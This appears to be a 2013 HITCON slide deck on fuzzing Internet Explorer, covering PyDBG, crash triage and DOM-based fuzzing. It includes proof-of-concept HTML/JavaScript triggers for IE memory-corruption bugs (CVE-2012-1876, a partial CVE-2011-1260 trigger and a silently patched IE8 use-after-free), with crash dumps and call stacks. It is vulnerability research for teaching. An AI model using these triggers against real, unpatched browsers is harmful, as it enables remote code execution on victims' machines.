

0-Day 輕鬆談 (0-Day Easy Talk)

Happy Fuzzing Internet Explorer

2013/07/19 @ HITCON

<Orange@chroot.org>

0-Day 甘苦談 (0-Day WTF Talk)

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這是一場簡單的演講

This is an Easy Talk

分享一些我的 Fuzzing 心得

Share Some Fuzzing Review of Mine

以及很順便的丟個 0-Day 出來

And Disclosed a 0-Day in Passing

大家好

Hello, Everyone

我是 Orange

This is Orange Speaking

現任大學生

I am a College Student, Now

CHROOT.org 成員

Member of CHROOT.org

DevCo.re 打工中

Part-Time Work at DevCo.re

揭露過一些弱點

Disclosed Some Vulnerabilities

cve 2013-0305

cve 2012-4775 (MS12-071)

About Me

- 蔡政達 aka Orange
- 2009 台灣駭客年會競賽冠軍
- 2011, 2012 全國資安競賽金盾獎冠軍
- 2011 東京 AVTOKYO 講師
- 2012 香港 VXRLConf 講師
- 台灣 PHPConf, WebConf, PyConf 講師



- 專精於
 - 駭客攻擊手法
 - Web Security
 - Windows Vulnerability Exploitation

如果對我有興趣可以到
blog.orange.tw

If You are Interesting at Me. You Can Visit
blog.orange.tw

我專注於 Web Security & 網路滲透

I Focus on / Interested in
Web Security & Network Penetration

但今天來聊聊 0-Day 以及
Fuzzing (不是我專門的領域 QQ)

But Today Let's Talk About 0-Day and Fuzzing
(I am Not Expert in This, But Just Share)

Conference-Driven 0-Day

n. 名詞

釋義: 為了研討會生 0-Day

在找 0-Day 中的一些筆記

Some Notes in Finding 0-Day

這次我們討論 IE

This Time We Talk About IE

ADOBE READER	\$5,000-\$30,000
MAC OSX	\$20,000-\$50,000
ANDROID	\$30,000-\$60,000
FLASH OR JAVA BROWSER PLUG-INS	\$40,000-\$100,000
MICROSOFT WORD	\$50,000-\$100,000
WINDOWS	\$60,000-\$120,000
FIREFOX OR SAFARI	\$60,000-\$150,000
CHROME OR INTERNET EXPLORER	\$80,000-\$200,000
IOS	\$100,000-\$250,000

<http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zero-days-an-price-list-for-hackers-secret-software-exploits/>



Hacker's Good Friend

方法

- **White Box**
 - Code Review (IE5.5 Source Code)
 - 二話不說丟進 IDA


- **Black Box**
 - Fuzzing

Fuzzing


- Garbage in Garbage out
- 理論上可以找到所有漏洞
 - 前提是你有無限的時間...

「時間越多，
0-Day 越多」

-貝拉克.歐巴馬



Fuzzing Model





<http://youtube.com/watch?v=m7Xg-YnMisE>

Debugger

- Windows Debug API
 - DebugActiveProcess
 - WaitForDebugEvent
 - ContinueDebugEvent
 - 好麻煩...
- 快速、客制化的 Debugger

PyDBG

**A Pure Python Windows Debugger
Interface**

Debug a Process

```
>>> import pydbg
```

```
>>> dbg = pydbg()
```

```
>>> dbg.load( file )      # or dbg.attach( pid )
```

```
>>> dbg.run()
```

Set Breakpoint

```
>>> dbg.bp_set( address, callback )
```

```
>>> dbg.set_callback( exception_code, callback )
```

Memory Manipulation

```
>>> dbg.read( address, length )
```

```
>>> dbg.write( address, length )
```

Crash Dump Report

```
>>> bin = utils.crash_binning.crash_binning()
```

```
>>> bin.record_crash( dbg )
```

```
>>> bin.crash_synopsis()
```

Logger (Filter)

- 滿山滿谷的 崩潰
- 不是所有的 Crash 能成為 Exploit
- 九成以上是 Null Pointer 只能當 DoS 用
 - `mov eax, [ebx+0x70]`
 - `; ebx = 0`
- EIP
- Disassemble
 - `jmp reg`
 - `call reg`
 - `call [reg + CONST]`
- Stack
- SHE Chain

EIP = ffffffff !!?

```
1  [INVALID]:ffffffff Unable to disassemble at ffffffff from thread 2008
   violation
2  when attempting to read from 0xffffffff
3
4  ▾ CONTEXT DUMP
5     EIP: ffffffff Unable to disassemble at ffffffff
6     EAX: 009b4000 ( 10174464) -> B? (heap)
7     EBX: 0012b0a4 ( 1224868) -> Ik@@,Z@,Z0.1@@,Z@,Z<.1@@,Z@,Zt41@@,Z41
8     ECX: 00000000 ( 0) -> N/A
9     EDX: 00000000 ( 0) -> N/A
10    EDI: 009d7000 ( 10317824) -> LSC: (heap)
11    ESI: 009f0408 ( 10421256) -> LSDN (heap)
12    EBP: 0012b0b0 ( 1224880) -> Ik@@,Z@,Z0.1@@,Z@,Z<.1@@,Z@,Zt41@@,Z41
13    ESP: 0012b00c ( 1224716) -> k,P@@@'1|.1''pIk@@,Z@,Z0.1@@,Z@,Z (sta
14    +00: 6bdff710 (1809839888) -> N/A
15    +04: 00000000 ( 0) -> N/A
16    +08: 00000000 ( 0) -> N/A
17    +0c: 0012b02c ( 1224748) -> @'1|.1''pIk@@,Z@,Z0.1@@,Z@,Z<.1@@,Z (s
18    +10: 0012b050 ( 1224784) -> @'1|.1''pIk@@,Z@,Z0.1@@,Z@,Z<.1@@,Z@,Z
19    +14: 00d34008 ( 13844488) -> LINELSSL (heap)
20
21  disasm around:
22     0xffffffff Unable to disassemble
23
```

$0x50000 = 327680 = (65535 / 2) * 10$

The Value 65535 We Can Control

```
4 ▾ CONTEXT DUMP
5   EIP: 302dca3a call [eax+0x22c]
6   EAX: 00050000 ( 327680) -> N/A
7   EBX: 00000011 ( 17) -> N/A
8   ECX: 00000000 ( 0) -> N/A
9   EDX: 0000002c ( 44) -> N/A
10  EDI: 01521504 ( 22156548) -> R.^RR (\ z0T5%R.^R|R(|R (heap)
11  ESI: 015211dc ( 22155740) -> ?Rh@2@2NP`d_\ z0D5%R.^R\R(R\RRR (heap)
12  EBP: 00126280 ( 1204864) -> bH20RRL?>bcL?>deR(c10L?>|bedehel~<c<%0L?>c0
    stack)
13  ESP: 0012623c ( 1204796) -> RRXc# |"{0m8bH20RRL?>bcL?>deR(c10L?>|bedehel
    de (stack)
14  +00: 015211dc ( 22155740) -> ?Rh@2@2NP`d_\ z0D5%R.^R\R(R\RRR (heap)
15  +04: 01521504 ( 22156548) -> R.^RR (\ z0T5%R.^R|R(|R (heap)
16  +08: 00000001 ( 1) -> N/A
17  +0c: 00000005 ( 5) -> N/A
18  +10: 00000000 ( 0) -> N/A
19  +14: 00000001 ( 1) -> N/A
20
21 ▾ disasm around:
22   0x302dca36 mov eax,[esi]
23   0x302dca38 push edi
24   0x302dca39 push esi
25   0x302dca3a call [eax+0x22c]
26   0x302dca40 test eax,eax
27   0x302dca42 jnz 0x3042112f
```

File Generator

The Most Important Part of Fuzzing

File Generator

- 內容越機歪越好，當然還是要符合 Spec
 - 熟讀 Spec 熟悉 File Structure
 - 想像力是你的超能力

Fuzzing 方向

- 1) 找新型態弱點 (麻煩但可通用)
- 2) 找已知型態弱點 (快速但有針對性)

新型態弱點

- 試試比較新、或比較少人用的
 - HTML5 Canvas
 - SVG
 - VML
 - cve-2013-2551 / VML Integer Overflow / Pwn2own / VUPEN
 - WebGL
 - IE11 Begin to Support



啃 Spec 啃 Spec 啃 Spec 啃 Spec

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已知型態弱點

- 研究以往的弱點我們可以知道
- Internet Explorer is Not Good at
 - Parsing DOM Tree
 - Parsing <TABLE> with <TR> & <TD>
 - Parsing <TABLE> with <COL>
- CTreeNode & CTableLayout

Pseudo Scenario of Use-After-Free

1. `<foo>`
- 2.
- 3.
- 4.
- 5.
- 6.
7. `</foo>`



1. `<script>`
2. `var x =`
`document.getElementById('x');`
3. `var y =`
`document.getElementById('y');`
4. `x.innerHTML = 'AAAA...';`
5. `y.length = 100px;`
6. `</script>`

Ex: CVE-2011-1260 (Not Full Version)

1. `<body>`
2. `<script>`
3. `document.body.innerHTML += "<object ...>TAG_1</object>";`
4. `document.body.innerHTML += "<aid='tag_3' style='...'>TAG_3";`
5. `document.body.innerHTML += "AAAAAAA";`
6. `document.body.innerHTML += "<strong style='...'>TAG_11";`
7. `</script>`
8. `</body>`

Ex: CVE-2012-1876 (Heap Overflow)

1. `<script> setTimeout("trigger();",1); </script>`
 2. `<TABLE style="table-layout: fixed; ">`
 3. `<col id="132" width="41" span="1" > </col>`
 4. `</col>`
 5. `</TABLE>`
1. `function trigger() {`
 2. `var obj_col =`
 3. `document.getElementById("132");`
 4. `obj_col.width = "42765";`
 5. `obj_col.span = 1000;`
 6. `}`

Fuzzing with DOM Tree

- Using DOM Methods to Manipulate Objects
 - createElement
 - removeChild appendChild
 - InnerHTML outerText
 - createRange
 - addEventListener
 - select
 - ...



Putting All Together

- 1) Randomize HTML Node for Initial
- 2) Manipulated Nodes with DOM Method
(Can Also Play with CSS at the Same Time)



這種東西很講**運氣**的

「運氣不好，
是人品問題」

-貝拉克·歐巴馬



**Generally, Single Machine Run Can
Find 1 or 2 IE 0-Day in a Month**

**I Have Successfully Found 0-Days from IE6 to IE9,
For IE10+ I Haven't Tried Because I am Too Lazy : (**

So I Found a 0-Day For HITCON

- 1) Work on Internet Explore 8
- 2) Mshtml.dll 8.0.6001.23501

MUST READ: [Best Android tablets \(July 2013 edition\)](#)

Topic: [Security](#) [Discover](#)

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Related Stories

IE8 zero-day flaw targets U.S. nuke researchers; all versions of Windows affected

Summary: Security researchers have discovered a previously unreported zero-day attack that targets U.S. government nuclear weapons scientists and researchers. Microsoft has warned Internet Explorer 8 users to upgrade to a later version of the browser, as the potentially affects at most one-quarter of all IE users.



By Zack Whittaker for Zero Day | May 5, 2013 -- 11:41 GMT (04:41 PDT)

Follow @zackwhittaker

Attackers have exploited a previously unknown vulnerability in Internet Explorer 8, which targets U.S. government workers involved in nuclear weapons research.

<http://www.zdnet.com/ie8-zero-day-flaw-targets-u-s-nuke-researchers-all-versions-of-windows-affected-7000014908/>



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Proof-of-Concept

```
<html>
```

```
<script>
```

```
  var
```

```
    document
```

```
    x.innerHTML
```

```
</script>
```

```
<body>
```


```
<table>
```

```
  .....
```

```
</table>
```

```
</body>
```

```
</html>
```



Microsoft is Our Sponsor

I Can't Say More Detail Until Patched : (

Call Stack

```
0:008> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0172b0fc 3dc065c7 0x85d8b53
0172b100 3dba48c9 mshtml!CElement::Doc+0x7
0172b11c 3dba4b32 mshtml!CTreeNode::ComputeFormats+0xb9
0172b3c8 3dbb372e mshtml!CTreeNode::ComputeFormatsHelper+0x44
0172b3d8 3dbb36ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
0172b3e8 3dbb36d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
0172b3f8 3dcc50c7 mshtml!CTreeNode::GetFancyFormat+0x35
0172b404 3dcc0b48 mshtml!ISpanQualifier::GetFancyFormat+0x5a
0172b410 3dcc0b05 mshtml!SRunPointer::IsRelativeSpanEdge+0x3a
0172b418 3dcc1c92 mshtml!SRunPointer::IsRelativeSpan+0x14
0172b438 3dcc263c mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d
0172b468 3dcc2b76 mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d
0172b7ec 3dcc2ad9 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90
0172b874 3dcc2a0e mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66
0172b960 3dcab2e5 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203
0172ba18 3dcaa896 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
0172bd98 3dc6e7fb mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349
0172be3c 3dc6e589 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x130
0172c358 3dcc8857 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad
0172c7d8 3dcc8857 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
```

call edx

(e10.950): Access violation - code c0000005 (!!! second chance !!!)

eax=3dbf00a4 ebx=0019bb30 ecx=037f12c8 edx=085d8b53

esi=0172b130 edi=00000000

eip=085d8b53 esp=0172b100 ebp=0172b11c iopl=0 nv up ei pl

zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

efl=00000246

085d8b53 ??

???

Writing Exploit

- **Windows Protection**
 - DEP
 - Luckily If Windows XP We Don't Care About ASLR
 - Luckily It is Not IE10+ that It Hasn't vTable Guard

So, Writing Exploit is Easy

Heap Spray + ROP Enough

Demo



http://youtube.com/watch?v=QwKkfUcq_VA

本來故事到這有個美滿的結局

Originally, This Story Have a Happy Ending

But

人生最精彩的就是這個 But

0-Day 在 HITCON 前一週被修掉了

Silent Fixed Before a Week of HITCON



What the

Proof-of-Concept

1. `<!DOCTYPE html>`
2. `<table>`
3. `<tr><legend>`
4. `<q id='e'>`
5. ` <th> O </th> `
6. `</q>`
7. `</legend></tr>`
8. `</table>`
9. `</html>`

```
1. window.onload = function(){
2.   var x =
      document.getElementById('e');
3.   x.outerText = "";
4. }
```

Work on

- mshtml.dll #
- mshtml.dll # 2013 / 05 / 14
- mshtml.dll 8.0.6001.23501 # 2013 / 06 / 11
- mshtml.dll 8.0.6001.23507 # 2013 / 07 / 09

Reference

- **VUEPN Blog**
 - <http://www.vupen.com/blog/>
- **Paimei**
 - <https://github.com/OpenRCE/paimei>
- **Special Thank tt & nanika**

Thanks

<Orange@chroot.org>